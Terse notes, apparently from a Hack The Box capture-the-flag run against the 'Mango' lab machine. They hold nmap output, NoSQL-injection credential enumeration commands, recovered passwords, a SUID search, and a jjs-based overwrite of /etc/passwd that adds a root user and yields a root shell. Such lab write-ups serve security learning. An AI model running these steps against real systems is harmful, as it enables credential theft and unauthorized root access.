MONGODB EXPLOIT

GTFOBINS JAVA

22/tcp open ssh   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)

| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)

|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)

80/tcp open http   Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: 403 Forbidden

443/tcp open ssl/ssl Apache httpd (SSL-only mode)

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Mango | Search Base

| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN

| Not valid before: 2019-09-27T14:21:19

|_Not valid after: 2020-09-26T14:21:19

|_ssl-date: TLS randomness does not represent time

| tls-alpn:

|_ http/1.1

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelBINS

http://staging-order.mango.htb/

https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration/blob/master/nosqli-user-pass-enum.py

python exploit.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep username

python exploit.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep password

mango:h3mXK8RhU~f{]f5H
admin:t9KcS3>!0B#2

ssh mango@mango.htb

su admin

find / -perm /4000 2>/dev/null

/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

openssl passwd -1 -salt tellico test123
1tellico$30TQ5Bff7wtirtpxbOqmR/

$ cd /tmp
$ cp /etc/passwd .
$ echo "tellico:\$1\$tellico$30TQ5Bff7wtirtpxbOqmR/:0:0::/root:/bin/bash" >> passwd
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp passwd /etc/passwd').waitFor()" | jjs
$ su tellico
Password: test123
root@mango:/home/admin/tellico# cd /root
root@mango:~# cat root.txt
8a8...